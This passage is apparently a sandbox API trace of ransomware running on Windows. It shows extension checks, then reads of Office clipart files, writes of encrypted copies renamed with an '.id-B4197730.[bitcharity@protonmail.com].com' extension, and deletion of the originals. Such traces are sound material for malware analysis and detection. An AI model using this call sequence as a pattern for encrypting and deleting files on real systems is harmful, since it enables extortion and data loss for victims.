lstrlenW (lpString=".ppt") returned 4 [0287.042] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0287.042] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00392_.WMF") returned 68 [0287.042] lstrlenW (lpString=".zip") returned 4 [0287.042] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0287.042] lstrlenW (lpString=".rar") returned 4 [0287.042] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0287.042] lstrlenW (lpString=".bz2") returned 4 [0287.042] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0287.042] lstrlenW (lpString=".7z") returned 3 [0287.042] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0287.043] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00392_.WMF") returned 68 [0287.043] lstrlenW (lpString=".dbf") returned 4 [0287.043] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0287.043] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00392_.WMF") returned 68 [0287.043] lstrlenW (lpString=".1cd") returned 4 [0287.043] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0287.043] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00392_.WMF") returned 68 [0287.043] lstrlenW (lpString=".jpg") returned 4 [0287.043] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0287.043] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00392_.WMF") returned 68 [0287.043] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00392_.WMF") returned 68 [0287.043] lstrlenW (lpString=".doc") returned 4 [0287.043] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0287.043] lstrlenW (lpString=".docx") returned 5 [0287.043] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0287.043] lstrlenW (lpString=".pdf") returned 4 [0287.043] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0287.043] lstrlenW (lpString=".xls") returned 4 [0287.043] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0287.043] lstrlenW (lpString=".xlsx") returned 5 [0287.043] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0287.043] lstrlenW (lpString=".ppt") returned 4 [0287.043] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0287.043] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00392_.WMF") returned 68 [0287.043] lstrlenW (lpString=".zip") returned 4 [0287.043] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0287.043] lstrlenW (lpString=".rar") returned 4 [0287.043] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0287.043] lstrlenW (lpString=".bz2") returned 4 [0287.043] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0287.043] lstrlenW (lpString=".7z") returned 3 [0287.043] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0287.043] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00392_.WMF") returned 68 [0287.043] lstrlenW (lpString=".dbf") returned 4 [0287.043] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0287.043] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00392_.WMF") returned 68 [0287.043] lstrlenW (lpString=".1cd") returned 4 [0287.044] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0287.044] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00392_.WMF") returned 68 [0287.044] lstrlenW (lpString=".jpg") returned 4 [0287.044] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0287.044] lstrcmpiW (lpString1=".WMF", lpString2=".com") returned 1 [0287.044] lstrlenW (lpString="BL00524_.WMF") returned 12 [0287.044] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00524_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00524_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10b0 [0287.044] GetFileSizeEx (in: hFile=0x10b0, lpFileSize=0x2a7ff14 | out: lpFileSize=0x2a7ff14*=6996) returned 1 [0287.044] CloseHandle (hObject=0x10b0) returned 1 [0287.044] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00524_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00524_.wmf")) returned 0x220 [0287.044] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00524_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00524_.wmf.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0287.044] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00524_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00524_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10b0 [0287.044] SetFilePointerEx (in: hFile=0x10b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a7fec0 | out: lpNewFilePointer=0x0) returned 1 [0287.044] SetFilePointerEx (in: hFile=0x10b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a7fec0 | out: lpNewFilePointer=0x0) returned 1 [0287.045] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00524_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00524_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10b4 [0287.045] GetLastError () returned 0x0 [0287.045] ReadFile (in: hFile=0x10b0, lpBuffer=0x35ce020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a7fecc, lpOverlapped=0x0 | out: lpBuffer=0x35ce020*, lpNumberOfBytesRead=0x2a7fecc*=0x1b54, lpOverlapped=0x0) returned 1 [0287.046] WriteFile (in: hFile=0x10b4, lpBuffer=0x35ce020*, nNumberOfBytesToWrite=0x1b60, lpNumberOfBytesWritten=0x2a7fc94, lpOverlapped=0x0 | out: lpBuffer=0x35ce020*, lpNumberOfBytesWritten=0x2a7fc94*=0x1b60, lpOverlapped=0x0) returned 1 [0287.047] ReadFile (in: hFile=0x10b0, lpBuffer=0x35ce020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a7fecc, lpOverlapped=0x0 | out: lpBuffer=0x35ce020*, lpNumberOfBytesRead=0x2a7fecc*=0x0, lpOverlapped=0x0) returned 1 [0287.047] WriteFile (in: hFile=0x10b4, lpBuffer=0x35ce020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2a7fc94, lpOverlapped=0x0 | out: lpBuffer=0x35ce020*, lpNumberOfBytesWritten=0x2a7fc94*=0xec, lpOverlapped=0x0) returned 1 [0287.047] SetEndOfFile (hFile=0x10b4) returned 1 [0287.047] CloseHandle (hObject=0x10b4) returned 1 [0287.049] SetFilePointerEx (in: hFile=0x10b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a7fec0 | out: lpNewFilePointer=0x0) returned 1 [0287.049] SetEndOfFile (hFile=0x10b0) returned 1 [0287.050] CloseHandle (hObject=0x10b0) returned 1 [0287.053] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00524_.WMF.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x220) returned 1 [0287.053] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00524_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00524_.wmf")) returned 1 [0287.053] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00524_.WMF") returned 68 [0287.053] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00524_.WMF") returned 68 [0287.053] lstrlenW (lpString=".doc") returned 4 [0287.053] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0287.053] lstrlenW (lpString=".docx") returned 5 [0287.054] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0287.054] lstrlenW (lpString=".pdf") returned 4 [0287.054] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0287.054] lstrlenW (lpString=".xls") returned 4 [0287.054] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0287.054] lstrlenW (lpString=".xlsx") returned 5 [0287.054] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0287.054] lstrlenW (lpString=".ppt") returned 4 [0287.054] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0287.054] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00524_.WMF") returned 68 [0287.054] lstrlenW (lpString=".zip") returned 4 [0287.054] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0287.054] lstrlenW (lpString=".rar") returned 4 [0287.054] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0287.054] lstrlenW (lpString=".bz2") returned 4 [0287.054] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0287.054] lstrlenW (lpString=".7z") returned 3 [0287.054] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0287.054] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00524_.WMF") returned 68 [0287.054] lstrlenW (lpString=".dbf") returned 4 [0287.054] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0287.054] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00524_.WMF") returned 68 [0287.054] lstrlenW (lpString=".1cd") returned 4 [0287.054] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0287.054] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00524_.WMF") returned 68 [0287.054] lstrlenW (lpString=".jpg") returned 4 [0287.054] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0287.054] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00524_.WMF") returned 68 [0287.054] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00524_.WMF") returned 68 [0287.054] lstrlenW (lpString=".doc") returned 4 [0287.054] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0287.054] lstrlenW (lpString=".docx") returned 5 [0287.054] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0287.055] lstrlenW (lpString=".pdf") returned 4 [0287.055] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0287.055] lstrlenW (lpString=".xls") returned 4 [0287.055] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0287.055] lstrlenW (lpString=".xlsx") returned 5 [0287.055] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0287.055] lstrlenW (lpString=".ppt") returned 4 [0287.055] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0287.055] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00524_.WMF") returned 68 [0287.055] lstrlenW (lpString=".zip") returned 4 [0287.055] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0287.055] lstrlenW (lpString=".rar") returned 4 [0287.055] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0287.055] lstrlenW (lpString=".bz2") returned 4 [0287.055] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0287.055] lstrlenW (lpString=".7z") returned 3 [0287.055] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0287.055] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00524_.WMF") returned 68 [0287.055] lstrlenW (lpString=".dbf") returned 4 [0287.055] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0287.055] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00524_.WMF") returned 68 [0287.055] lstrlenW (lpString=".1cd") returned 4 [0287.055] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0287.055] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00524_.WMF") returned 68 [0287.055] lstrlenW (lpString=".jpg") returned 4 [0287.055] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0287.055] lstrcmpiW (lpString1=".WMF", lpString2=".com") returned 1 [0287.055] lstrlenW (lpString="BL00525_.WMF") returned 12 [0287.055] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00525_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00525_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10b0 [0287.056] GetFileSizeEx (in: hFile=0x10b0, lpFileSize=0x2a7ff14 | out: lpFileSize=0x2a7ff14*=9590) returned 1 [0287.056] CloseHandle (hObject=0x10b0) returned 1 [0287.056] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00525_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00525_.wmf")) returned 0x220 [0287.056] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00525_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00525_.wmf.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0287.056] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00525_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00525_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10b0 [0287.056] SetFilePointerEx (in: hFile=0x10b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a7fec0 | out: lpNewFilePointer=0x0) returned 1 [0287.056] SetFilePointerEx (in: hFile=0x10b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a7fec0 | out: lpNewFilePointer=0x0) returned 1 [0287.056] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00525_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00525_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10b4 [0287.056] GetLastError () returned 0x0 [0287.057] ReadFile (in: hFile=0x10b0, lpBuffer=0x35ce020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a7fecc, lpOverlapped=0x0 | out: lpBuffer=0x35ce020*, lpNumberOfBytesRead=0x2a7fecc*=0x2576, lpOverlapped=0x0) returned 1 [0287.271] WriteFile (in: hFile=0x10b4, lpBuffer=0x35ce020*, nNumberOfBytesToWrite=0x2580, lpNumberOfBytesWritten=0x2a7fc94, lpOverlapped=0x0 | out: lpBuffer=0x35ce020*, lpNumberOfBytesWritten=0x2a7fc94*=0x2580, lpOverlapped=0x0) returned 1 [0287.272] ReadFile (in: hFile=0x10b0, lpBuffer=0x35ce020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a7fecc, lpOverlapped=0x0 | out: lpBuffer=0x35ce020*, lpNumberOfBytesRead=0x2a7fecc*=0x0, lpOverlapped=0x0) returned 1 [0287.272] WriteFile (in: hFile=0x10b4, lpBuffer=0x35ce020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2a7fc94, lpOverlapped=0x0 | out: lpBuffer=0x35ce020*, lpNumberOfBytesWritten=0x2a7fc94*=0xec, lpOverlapped=0x0) returned 1 [0287.272] SetEndOfFile (hFile=0x10b4) returned 1 [0288.472] CloseHandle (hObject=0x10b4) returned 1 [0288.473] SetFilePointerEx (in: hFile=0x10b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a7fec0 | out: lpNewFilePointer=0x0) returned 1 [0288.473] SetEndOfFile (hFile=0x10b0) returned 1 [0288.473] CloseHandle (hObject=0x10b0) returned 1 [0288.474] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00525_.WMF.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x220) returned 1 [0288.474] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00525_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00525_.wmf")) returned 1 [0288.474] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00525_.WMF") returned 68 [0288.474] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00525_.WMF") returned 68 [0288.474] lstrlenW (lpString=".doc") returned 4 [0288.474] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0288.474] lstrlenW (lpString=".docx") returned 5 [0288.474] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0288.474] lstrlenW (lpString=".pdf") returned 4 [0288.474] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0288.474] lstrlenW (lpString=".xls") returned 4 [0288.474] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0288.474] lstrlenW (lpString=".xlsx") returned 5 [0288.474] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0288.474] lstrlenW (lpString=".ppt") returned 4 [0288.475] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0288.475] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00525_.WMF") returned 68 [0288.475] lstrlenW (lpString=".zip") returned 4 [0288.475] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0288.475] lstrlenW (lpString=".rar") returned 4 [0288.475] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0288.475] lstrlenW (lpString=".bz2") returned 4 [0288.475] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0288.475] lstrlenW (lpString=".7z") returned 3 [0288.475] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0288.475] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00525_.WMF") returned 68 [0288.475] lstrlenW (lpString=".dbf") returned 4 [0288.475] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0288.475] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00525_.WMF") returned 68 [0288.475] lstrlenW (lpString=".1cd") returned 4 [0288.475] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0288.475] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00525_.WMF") returned 68 [0288.475] lstrlenW (lpString=".jpg") returned 4 [0288.475] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0288.475] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00525_.WMF") returned 68 [0288.475] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00525_.WMF") returned 68 [0288.475] lstrlenW (lpString=".doc") returned 4 [0288.475] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0288.475] lstrlenW (lpString=".docx") returned 5 [0288.475] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0288.475] lstrlenW (lpString=".pdf") returned 4 [0288.475] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0288.475] lstrlenW (lpString=".xls") returned 4 [0288.476] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0288.476] lstrlenW (lpString=".xlsx") returned 5 [0288.476] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0288.476] lstrlenW (lpString=".ppt") returned 4 [0288.476] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0288.476] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00525_.WMF") returned 68 [0288.476] lstrlenW (lpString=".zip") returned 4 [0288.476] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0288.476] lstrlenW (lpString=".rar") returned 4 [0288.476] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0288.476] lstrlenW (lpString=".bz2") returned 4 [0288.476] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0288.476] lstrlenW (lpString=".7z") returned 3 [0288.476] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0288.476] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00525_.WMF") returned 68 [0288.476] lstrlenW (lpString=".dbf") returned 4 [0288.476] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0288.476] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00525_.WMF") returned 68 [0288.476] lstrlenW (lpString=".1cd") returned 4 [0288.476] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0288.476] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00525_.WMF") returned 68 [0288.476] lstrlenW (lpString=".jpg") returned 4 [0288.476] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0288.476] lstrcmpiW (lpString1=".WMF", lpString2=".com") returned 1 [0288.476] lstrlenW (lpString="BS00145_.WMF") returned 12 [0288.476] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00145_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00145_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10b0 [0288.477] GetFileSizeEx (in: hFile=0x10b0, lpFileSize=0x2a7ff14 | out: lpFileSize=0x2a7ff14*=1712) returned 1 [0288.477] CloseHandle (hObject=0x10b0) returned 1 [0288.477] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00145_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00145_.wmf")) returned 0x220 [0288.477] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00145_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00145_.wmf.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0288.477] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00145_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00145_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10b0 [0288.477] SetFilePointerEx (in: hFile=0x10b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a7fec0 | out: lpNewFilePointer=0x0) returned 1 [0288.477] SetFilePointerEx (in: hFile=0x10b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a7fec0 | out: lpNewFilePointer=0x0) returned 1 [0288.477] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00145_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00145_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10b4 [0288.478] GetLastError () returned 0x0 [0288.478] ReadFile (in: hFile=0x10b0, lpBuffer=0x35ce020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a7fecc, lpOverlapped=0x0 | out: lpBuffer=0x35ce020*, lpNumberOfBytesRead=0x2a7fecc*=0x6b0, lpOverlapped=0x0) returned 1 [0288.481] WriteFile (in: hFile=0x10b4, lpBuffer=0x35ce020*, nNumberOfBytesToWrite=0x6c0, lpNumberOfBytesWritten=0x2a7fc94, lpOverlapped=0x0 | out: lpBuffer=0x35ce020*, lpNumberOfBytesWritten=0x2a7fc94*=0x6c0, lpOverlapped=0x0) returned 1 [0288.482] ReadFile (in: hFile=0x10b0, lpBuffer=0x35ce020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a7fecc, lpOverlapped=0x0 | out: lpBuffer=0x35ce020*, lpNumberOfBytesRead=0x2a7fecc*=0x0, lpOverlapped=0x0) returned 1 [0288.482] WriteFile (in: hFile=0x10b4, lpBuffer=0x35ce020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2a7fc94, lpOverlapped=0x0 | out: lpBuffer=0x35ce020*, lpNumberOfBytesWritten=0x2a7fc94*=0xec, lpOverlapped=0x0) returned 1 [0288.482] SetEndOfFile (hFile=0x10b4) returned 1 [0288.483] CloseHandle (hObject=0x10b4) returned 1 [0288.483] SetFilePointerEx (in: hFile=0x10b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a7fec0 | out: lpNewFilePointer=0x0) returned 1 [0288.483] SetEndOfFile (hFile=0x10b0) returned 1 [0288.483] CloseHandle (hObject=0x10b0) returned 1 [0288.483] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00145_.WMF.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x220) returned 1 [0288.484] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00145_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00145_.wmf")) returned 1 [0288.484] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00145_.WMF") returned 68 [0288.484] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00145_.WMF") returned 68 [0288.484] lstrlenW (lpString=".doc") returned 4 [0288.484] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0288.484] lstrlenW (lpString=".docx") returned 5 [0288.484] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0288.484] lstrlenW (lpString=".pdf") returned 4 [0288.484] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0288.484] lstrlenW (lpString=".xls") returned 4 [0288.484] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0288.484] lstrlenW (lpString=".xlsx") returned 5 [0288.484] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0288.484] lstrlenW (lpString=".ppt") returned 4 [0288.484] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0288.484] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00145_.WMF") returned 68 [0288.484] 